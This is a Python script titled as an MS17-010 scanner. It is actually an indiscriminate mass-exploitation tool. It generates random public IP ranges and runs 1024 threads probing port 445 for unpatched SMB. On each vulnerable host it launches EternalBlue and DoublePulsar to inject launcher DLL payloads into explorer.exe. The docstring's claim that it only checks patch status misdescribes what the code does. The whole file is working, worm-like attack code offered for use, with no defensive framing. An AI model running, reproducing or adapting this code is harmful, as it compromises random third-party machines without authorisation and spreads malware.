MS17-010 scanner.py

from impacket import smb, smbconnection, nt_errors
from impacket.uuid import uuidtup_to_bin
from mysmb import MYSMB
from impacket import smb
from struct import pack
import socket
import time
import socket
import threading
import random
import binascii
import time
import itertools
import os

'''
Script for
- check target if MS17-010 is patched or not.
- find accessible named pipe
'''

USERNAME = ''
PASSWORD = ''

NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')

MSRPC_UUID_BROWSER  = uuidtup_to_bin(('6BFFD098-A112-3610-9833-012892020162','0.0'))
MSRPC_UUID_SPOOLSS  = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB','1.0'))
MSRPC_UUID_NETLOGON = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB','1.0'))
MSRPC_UUID_LSARPC   = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
MSRPC_UUID_SAMR     = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC','1.0'))

pipes = {
    'browser'  : MSRPC_UUID_BROWSER,
    'spoolss'  : MSRPC_UUID_SPOOLSS,
    'netlogon' : MSRPC_UUID_NETLOGON,
    'lsarpc'   : MSRPC_UUID_LSARPC,
    'samr'     : MSRPC_UUID_SAMR,
}

def check(target):
    conn = MYSMB(target)
    try:
        conn.login(USERNAME, PASSWORD)
    except smb.SessionError as e:
        print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
        return False
    finally:
        print('Target OS: ' + conn.get_server_os())

    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
    conn.set_default_tid(tid)


    # test if target is vulnerable
    TRANS_PEEK_NMPIPE = 0x23
    recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
    status = recvPkt.getNTStatus()
    if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
        print('The target is not patched')
        return True
    else:
        print('The target is patched')
        return False

def exploit(IP):
    print os.popen("wine Eternalblue-2.2.0.exe --TargetIp " + IP).read()
    print os.popen("wine Doublepulsar-1.3.1.exe --TargetIp " + IP + " --Function RunDll --DllPayload launcher.x86.dll --ProcessName explorer.exe").read()
    print os.popen("wine Doublepulsar-1.3.1.exe --TargetIp " + IP + " --Function RunDll --DllPayload launcher.x64.dll --ProcessName explorer.exe").read()

def gen_IP_block():
    not_valid = [10,127,169,172,192]
    first = random.randrange(1,256)
    while first in not_valid:
        first = random.randrange(1,256)
    ip = ".".join([str(first),str(random.randrange(1,256)),
    str(random.randrange(1,256))])
    return ip+".1-255"

def ip_range(input_string):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]

    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))
def Scan(IP):
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((IP, 445))
        s.close()
        if check(IP):
            exploit(IP)
    except Exception as e:
        pass

def HaxThread():
    while 1:
        for IP in ip_range(gen_IP_block()):
            Scan(IP)


if __name__ == "__main__":
    threads = 0
    for i in range(1024):
        try:
            threading.Thread(target=HaxThread, args=()).start()
            threads+=1
        except:
            pass
    print "[+] Started " + str(threads) + " threads!"